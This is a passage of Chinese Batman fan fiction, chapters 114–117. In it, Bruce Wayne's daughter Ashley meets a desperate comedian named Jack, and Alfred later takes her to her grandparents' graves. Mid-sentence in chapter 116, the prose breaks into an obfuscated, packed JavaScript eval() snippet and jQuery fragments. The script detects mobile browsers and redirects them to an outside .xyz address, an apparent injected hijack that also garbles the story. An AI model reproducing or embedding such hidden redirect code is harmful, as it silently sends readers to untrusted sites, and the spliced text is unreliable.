114.
“我现在每天九点钟起床，上午陪威尔维特和珀尔玩，下午去威尔逊先生的画室，课程结束就去韦恩集团——研究组的人都很好，他们送给我很多小玩具，我在他们那里写家庭教师留给我的作业。”
“布鲁斯下班的时候就会带我回来，他最近很喜欢在路上带我买些东西，会给我买冰激凌，有时候会给我多买一个球，但是不可以让阿福知道。”
“我觉得他瞒不过阿福，但是阿福允许我偶尔贪吃一点。”
“弗里德里希最近在一个名字很拗口的地方采风，给我寄来了很多奇怪的东西，不过他拍的照片的确很漂亮，我画了手绘明信片，送给你。”
“威尔逊先生是一个很厉害的画家，他没有收别的学生，布鲁斯给他投资了很多钱，他也没有扩张画室的打算——我感觉他很像那种世外高人。”
“劳娜，我过得很好。”
盖上火漆印章，艾希莉将信交给了阿福。
“也是寄给劳娜小姐的吗？”
“是的。”
阿福笑了笑：“我保证它会很快送到劳娜小姐手里。”
115.
艾希莉最近会跟着威尔逊先生去最近的公园写生。
当然，每次威尔逊有这样的出行安排都会提前告知布鲁斯，而布鲁斯会悄悄给艾希莉带上保镖。
总有人会想围观艾希莉画画，但这些人大多都会被威尔逊先生礼貌地劝离，个别执意留在这里的就要面对保镖先生的死亡凝视了。
不要多管闲事，也不要靠近明显惹不起的人。
哥谭人大多都有这样的自觉。
而今天的公园人有些多，艾希莉摊开画板，眼睛不自觉地落到不远处的舞台上。
“听说是喜剧演员的演出。”
威尔逊先生显然也注意到了那边。
“要去看看吗？艾希莉。”威尔逊先生道，“人群也是写生的重要素材。”
艾希莉不太喜欢热闹的地方，但威尔逊先生好像很期待她去看看。
她犹豫了一会儿：“画板怎么办？”
“我来看着就好，你等一下自己回来，可以吗？”
有保镖在，威尔逊并不担心艾希莉会遇到危险。
艾希莉点点头。
可能是台上新出场的喜剧演员并不有名，等到艾希莉到场的时候，原本水泄不通的舞台已经显得有些空了，台下的评委也一副兴致缺缺的样子，整个演出现场突然空荡起来。
艾希莉站在原地有些不知所措，她抬头看了看正在卖力甩包袱的演员，又看了看三三两两结伴离席的观众，慢吞吞地走到了前排。
这会儿前排的人已经寥寥无几了，一头白发的小女孩站在这里吸引了不少人的注意。
有个评委也注意到了艾希莉，他回头看了一眼艾希莉，转过头对身边的另一个评委说了什么，于是那几个评委也转过头窃窃私语起来。
艾希莉并不关注这些，她注意到台上的那个演员越来越紧张了。
那个可怜的喜剧演员太想让他的观众注意他了，言辞也越来越用力——他开始搞砸他的表演了。
艾希莉垂了垂眼睛，还是在原地看完了这场堪称灾难的喜剧表演。
他无疑被淘汰了。
艾希莉又在原地等了一会儿，直到后台的人开始清理现场的杂物，她捏了捏站得有些僵硬的小腿，抬头时看到了正在极力和某人争论的喜剧演员。
那个人离开了，喜剧演员失望地低下头，他显然没有得到他想要的。
他准备离开了，一回头就看见了艾希莉。
他犹豫了一下，还是选择走到艾希莉面前。
“嘿，你好，我是说，呃，也许你认识我吗，我是刚表演的那个——我叫杰克。”
他有些夸张的肢体动作引起了保镖的警觉，他也意识到保镖在逼近他。
“啊，我没有恶意……”
艾希莉点点头，“……我叫艾希莉。”
姑且算是一个友好的信号，这让杰克选择了继续他的问题。
“你好，我刚才注意到你很认真地在看我的表演——但是，啊，但是你好像一直都没有笑——”
杰克尽可能地组织语言，他有些尴尬，或者说他现在也倾向于他还站在舞台上和他的观众互动，他的肢体动作看起来总是不太自然。
“你为什么这么严肃呢？”
他问。
艾希莉没有想到他会问这个问题。
他是想问我为什么没有笑？
好吧，也许“Why so serious”是喜剧演员的表达方式。
听听，“你什么不笑？”还有“你为什么这么严肃？”当然是后者听起来更亲切，对吧。
艾希莉捏了捏手指，她不擅长应对这样场合，或者说即便她的社交圈已经越来越广，但她还是不太擅长应对陌生人。
这个人给她的感觉更是如此，她总觉得这个人泡在漆黑的沼泽里正在不断下沉。
“……你看起来很严肃。”艾希莉回答，“你很需要这场表演成功吗？”
前后没有什么因果关系，但是杰克可以听懂。
“啊，啊，是的，我的妻子有了一个孩子——也许是和你一样的女孩子，也可能是男孩，我需要一份工作，但是我搞砸了，我把一切都搞砸了。”
听起来真是糟糕的一天。
艾希莉想。
也许他好不容易才有这个面试的机会，但是他失败了，他接下来还需要工作，需要钱。
一些不太愉快的记忆顺着杰克悲剧的人生从艾希莉记忆的边角爬出来，这个世界上不论在哪里，悲剧好像总是那么相似，放在这个喜剧演员的身上就更显得讽刺，看看，一个喜剧演员，最好笑的竟然是他搞砸的人生。
艾希莉开始感到不适了。
她已经站了很久，双腿有些酸痛。
“……你很爱你的妻子吗？还有孩子。”
“啊，是的，当然，我很爱他们。”
艾希莉注意到威尔逊先生已经站在了不远的地方，她来的时间有些久了。
“我要离开了。”她弯了弯腰，“……祝您顺利找到一份合适的工作。”
有足够的钱，有足够的时间，最好还可以陪陪妻儿。
虽然这样的人生也不一定幸福。
“谢谢，我是说——”
艾希莉已经离开了。
116.
今天没有写生。
艾希莉没有什么精神地回家了。
“我可怜的小主人，发生了什么事吗？”
阿福一眼就看出艾希莉的闷闷不乐，他准备了甜点和热可可，俯下身与艾希莉对视，温柔地询问艾希莉今天发生的事情。
艾希莉和盘托出，她双手捧着热度适宜的杯子，热气腾腾的热可可让她的胃舒服了一些。
“……阿福，我觉得他很不幸。”
艾希莉轻轻地说，“他其实只是一个普通人，可是我觉得他很不幸。”
“普通人是不幸的吗？阿福。”
他普通地站在那里，内里的悲伤就快把艾希莉压得喘不过气。
他看向艾希莉的眼神也是如此，如随时会决堤的悲伤的河。
艾希莉感到无所适从，她知道自己现在是幸福的——至少现在是幸福。
她有富足的生活，有对她百依百顺的布鲁斯和阿福，有充满善意的朋友（或许称呼上一句朋友的弗里德里希和研究员们）和师长，她还有归处，她有她的劳娜。
她可以做她想
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968382|177162||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
做的任何事，她可以画画，画她想画的就好，谁都不会逼她画什么。
她也可以去她想去的任何地方，她选了德国的柏林作为感恩节的旅游目的地，她已经告诉了布鲁斯和弗里德里希，布鲁斯会安排好行程，弗里德里希自告奋勇地承担了导游的职责。
是的，她是幸福的，比世界上绝大多数人都幸福。
可她得到的这一切真是太轻易了，她好像不需要付出任何的代价就可以享受这些。
这是什么上天注定的事吗？
她从出生开始就好像打开了点满幸运值的简易模式，身边的所有人都尽可能地给予她善意，这与艾希莉所认知的完全不同。
这些人不需要她去做什么回馈他们，也并不期待将艾希莉雕琢成什么样子。
艾希莉也是一个普通人，对，她本身也只是一个普通人，与那个卖力讲笑话的喜剧演员没有什么区别，可她是幸福的。
艾希莉因幸福感到羞耻。
阿福怜爱地摸了摸他善良敏感的小主人，又为艾希莉拿来了一件外套。
“我带您去一个地方吧，艾希小姐。”
117.
阿尔弗雷德带着艾希莉来到了韦恩的墓园。
“托马斯老爷，玛莎夫人。”阿尔弗雷德弯了弯腰，历经半个世纪风霜的老人在这一刻才展现了一些岁月的雕琢的痕迹。
“我带艾希莉小姐来见你们了。”
“抱歉应该让布鲁斯少爷来，但他初为人父，想来还无法同时肩负父亲和儿子的身份。”
“艾希小姐，这是布鲁斯少爷的父母，也是您的祖父母。”
艾希莉上前一步，将手中的花束放在墓碑前。
“……初次见面，我是艾希莉，艾希莉·韦恩。”
阿福蹲下身，双手搭在艾希莉的肩膀上。
“这些本来应该等您再长大一些，由布鲁斯少爷告诉您。”阿福说。
“布鲁斯少爷八岁时，托马斯老爷和玛莎夫人遭遇了袭击，长眠在哥谭的夜晚。”
“此后的很长一段时间，布鲁斯少爷都是愤怒的、痛苦的甚至是极端的。”
“那是一段很漫长的岁月，也是普世意义上不幸的命运降临的时刻。”
“但布鲁斯少爷，他没有停滞于此。”
“艾希小姐，在名叫命运的洪流里，不幸就像是要将人卷入水底的涡流，它有大有小，共处是不可预见，避无可避。”
“它来临时，就如同巨石从山顶滚落，人都要变成西西弗斯。”
“艾希小姐，哥谭上空乌云密布，它的夜晚没有月亮。点不起灯的人就要在这黑暗里磕得头破血流，向山顶徐徐推动叫作‘生存’的巨石，在哥谭的山顶，托马斯老爷让‘韦恩’点起了灯，于是哥谭就有了‘普罗米修斯’。”
“‘普罗米修斯’为人类带来了火种，而后，潘多拉又带来了新的灾难。”
“艾希小姐，你不觉得‘普罗米修斯’是又一个‘西西弗斯’吗？”
阿尔弗雷德用神话、比喻将往事徐徐道来，他并不担心艾希莉听不懂，事实也正如他所想。
“……我们必须想象西西弗斯是幸福的[1]。”
艾希莉念出了这句《西西弗斯神话》结尾的这句话。
“艾希小姐，哪怕我并不希望如此定论，但您也是一位‘韦恩’，”阿福的目光诚挚、骄傲又充满哀伤，“也许有一天，您也会选择推动命运这块无法停止的巨石。”
他毫不怀疑，正如问出“普通人是不幸的吗”这句话那样，感性、敏感的艾希莉共情所有的不幸，与他孤身潜入深不见底的黑夜的布鲁斯少爷那样，有朝一日，艾希莉也会做出与几代韦恩相同的选择。
但在那之前。
请幸福吧，艾希莉小姐。